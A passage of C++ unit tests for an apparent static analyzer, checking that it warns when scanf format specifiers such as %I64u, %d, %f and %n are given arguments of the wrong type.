TEST_SCANF_WARN_AKA_CPP_WIN32(\"%I64u\", \"unsigned __int64\", \"std::size_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I64u\", \"unsigned __int64\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I64u\", \"unsigned __int64\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I64u\", \"unsigned __int64\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%I64u\", \"unsigned __int64\", \"std::uintmax_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I64u\", \"unsigned __int64\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%I64u\", \"unsigned __int64\", \"std::uintptr_t\", \"unsigned long\");\n\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"bool\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"char\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"signed char\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"unsigned char\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"signed short\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"unsigned short\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"signed int\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"unsigned int\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"signed long\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"unsigned long\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%I64x\", \"unsigned __int64\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"float\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"double\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"long double\");\n TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"void *\");\n TEST_SCANF_WARN_AKA_WIN32(\"%I64x\", \"unsigned __int64\", \"size_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA(\"%I64x\", \"unsigned __int64\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%I64x\", \"unsigned __int64\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%I64x\", \"unsigned __int64\", \"unsigned __int64\");\n // TODO TEST_SCANF_WARN(\"%I64x\", \"unsigned __int64\", \"__int64\");\n TEST_SCANF_WARN_AKA_WIN32(\"%I64x\", \"unsigned __int64\", \"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA(\"%I64x\", \"unsigned __int64\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%I64x\", \"unsigned __int64\", \"uintmax_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA(\"%I64x\", \"unsigned __int64\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%I64x\", \"unsigned __int64\", \"uintptr_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%I64x\", \"unsigned __int64\", \"std::size_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I64x\", \"unsigned __int64\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I64x\", \"unsigned __int64\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I64x\", \"unsigned __int64\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%I64x\", \"unsigned __int64\", \"std::uintmax_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I64x\", \"unsigned __int64\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN32(\"%I64x\", \"unsigned __int64\", \"std::uintptr_t\", \"unsigned long\");\n\n TEST_SCANF_WARN(\"%I64d\", \"__int64\", \"bool\");\n TEST_SCANF_WARN(\"%I64d\", \"__int64\", \"signed char\");\n TEST_SCANF_WARN(\"%I64d\", \"__int64\", \"unsigned char\");\n TEST_SCANF_WARN(\"%I64d\", \"__int64\", \"void *\");\n // TODO TEST_SCANF_WARN(\"%I64d\", \"__int64\", \"size_t\");\n TEST_SCANF_WARN_AKA_WIN32(\"%I64d\", \"__int64\", \"intmax_t\", \"signed long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%I64d\", \"__int64\", \"ssize_t\", \"signed long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%I64d\", \"__int64\", \"ptrdiff_t\", \"signed long\");\n TEST_SCANF_NOWARN(\"%I64d\", \"__int64\", \"__int64\");\n\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"bool\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"char\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"signed char\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"unsigned char\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"signed short\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"unsigned short\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"signed int\");\n TEST_SCANF_NOWARN(\"%I32u\", \"unsigned __int32\", \"unsigned int\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"signed long\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"unsigned long\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"signed long long\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"float\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"double\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"long double\");\n TEST_SCANF_WARN(\"%I32u\", \"unsigned __int32\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"bool\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"char\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"signed char\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"unsigned char\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"signed short\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"unsigned short\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"signed int\");\n TEST_SCANF_NOWARN(\"%I32x\", \"unsigned __int32\", \"unsigned int\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"signed long\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"unsigned long\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"signed long long\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"float\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"double\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"long double\");\n TEST_SCANF_WARN(\"%I32x\", \"unsigned __int32\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%I32d\", \"__int32\", \"bool\");\n TEST_SCANF_WARN(\"%I32d\", \"__int32\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%I32d\", \"__int32\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n //TODO TEST_SCANF_WARN_AKA_WIN32(\"%I32d\", \"__int32\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%I32d\", \"__int32\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%I32d\", \"__int32\", \"__int32\");\n\n TEST_SCANF_WARN(\"%d\", \"int\", \"bool\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"char\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"signed char\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"unsigned char\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"signed short\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"unsigned short\");\n TEST_SCANF_NOWARN(\"%d\", \"int\", \"signed int\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"unsigned int\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"signed long\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"unsigned long\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"signed long long\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"float\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"double\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"long double\");\n TEST_SCANF_WARN(\"%d\", \"int\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%d\", \"int\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%d\", \"int\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%d\", \"int\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%d\", \"int\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%d\", \"int\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%d\", \"int\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%d\", \"int\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%d\", \"int\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%d\", \"int\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%d\", \"int\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%d\", \"int\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n check(\"void foo() {\\n\"\n \" scanf(\\\"%d\\\", \\\"s3\\\");\\n\"\n \" scanf(\\\"%d\\\", L\\\"s5W\\\");\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %d in format string (no. 1) requires 'int *' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:3]: (warning) %d in format string (no. 1) requires 'int *' but the argument type is 'const wchar_t *'.\\n\", errout_str());\n\n check(\"void foo(long l) {\\n\"\n \" scanf(\\\"%d\\\", l);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %d in format string (no. 1) requires 'int *' but the argument type is 'signed long'.\\n\", errout_str());\n\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"bool\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"char\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"signed char\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"unsigned char\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"signed short\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"unsigned short\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"signed int\");\n TEST_SCANF_NOWARN(\"%x\", \"unsigned int\", \"unsigned int\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"signed long\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"unsigned long\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"signed long long\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"float\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"double\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"long double\");\n TEST_SCANF_WARN(\"%x\", \"unsigned int\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%x\", \"unsigned int\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%x\", \"unsigned int\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%x\", \"unsigned int\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%x\", \"unsigned int\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%x\", \"unsigned int\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%x\", \"unsigned int\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%x\", \"unsigned int\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%x\", \"unsigned int\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n check(\"void foo() {\\n\"\n \" scanf(\\\"%x\\\", \\\"s3\\\");\\n\"\n \" scanf(\\\"%x\\\", L\\\"s5W\\\");\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %x in format string (no. 1) requires 'unsigned int *' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:3]: (warning) %x in format string (no. 1) requires 'unsigned int *' but the argument type is 'const wchar_t *'.\\n\", errout_str());\n\n check(\"void foo(long l) {\\n\"\n \" scanf(\\\"%x\\\", l);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %x in format string (no. 1) requires 'unsigned int *' but the argument type is 'signed long'.\\n\", errout_str());\n\n TEST_SCANF_WARN(\"%f\", \"float\", \"bool\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"char\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"signed char\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"unsigned char\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"signed short\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"unsigned short\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"signed int\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"unsigned int\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"signed long\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"unsigned long\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"signed long long\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"unsigned long long\");\n TEST_SCANF_NOWARN(\"%f\", \"float\", \"float\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"double\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"long double\");\n TEST_SCANF_WARN(\"%f\", \"float\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%f\", \"float\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%f\", \"float\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%f\", \"float\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%f\", \"float\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%f\", \"float\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%f\", \"float\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%f\", \"float\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%f\", \"float\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%f\", \"float\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%f\", \"float\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%f\", \"float\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n check(\"void foo() {\\n\"\n \" scanf(\\\"%f\\\", \\\"s3\\\");\\n\"\n \" scanf(\\\"%f\\\", L\\\"s5W\\\");\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %f in format string (no. 1) requires 'float *' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 1) requires 'float *' but the argument type is 'const wchar_t *'.\\n\", errout_str());\n\n check(\"void foo(float f) {\\n\"\n \" scanf(\\\"%f\\\", f);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %f in format string (no. 1) requires 'float *' but the argument type is 'float'.\\n\", errout_str());\n\n TEST_SCANF_WARN(\"%lf\", \"double\", \"bool\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"char\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"signed char\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"unsigned char\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"signed short\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"unsigned short\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"signed int\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"unsigned int\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"signed long\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"unsigned long\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"signed long long\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"float\");\n TEST_SCANF_NOWARN(\"%lf\", \"double\", \"double\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"long double\");\n TEST_SCANF_WARN(\"%lf\", \"double\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%lf\", \"double\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%lf\", \"double\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%lf\", \"double\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%lf\", \"double\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%lf\", \"double\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%lf\", \"double\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lf\", \"double\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lf\", \"double\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lf\", \"double\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lf\", \"double\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lf\", \"double\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"bool\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"char\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"signed char\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"unsigned char\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"signed short\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"unsigned short\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"signed int\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"unsigned int\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"signed long\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"unsigned long\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"signed long long\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"float\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"double\");\n TEST_SCANF_NOWARN(\"%Lf\", \"long double\", \"long double\");\n TEST_SCANF_WARN(\"%Lf\", \"long double\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%Lf\", \"long double\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Lf\", \"long double\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Lf\", \"long double\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Lf\", \"long double\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Lf\", \"long double\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Lf\", \"long double\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lf\", \"long double\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lf\", \"long double\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lf\", \"long double\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lf\", \"long double\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Lf\", \"long double\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%n\", \"int\", \"bool\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"char\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"signed char\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"unsigned char\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"signed short\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"unsigned short\");\n TEST_SCANF_NOWARN(\"%n\", \"int\", \"signed int\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"unsigned int\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"signed long\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"unsigned long\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"signed long long\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"float\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"double\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"long double\");\n TEST_SCANF_WARN(\"%n\", \"int\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%n\", \"int\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%n\", \"int\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%n\", \"int\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%n\", \"int\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%n\", \"int\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%n\", \"int\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%n\", \"int\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%n\", \"int\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%n\", \"int\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%n\", \"int\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n 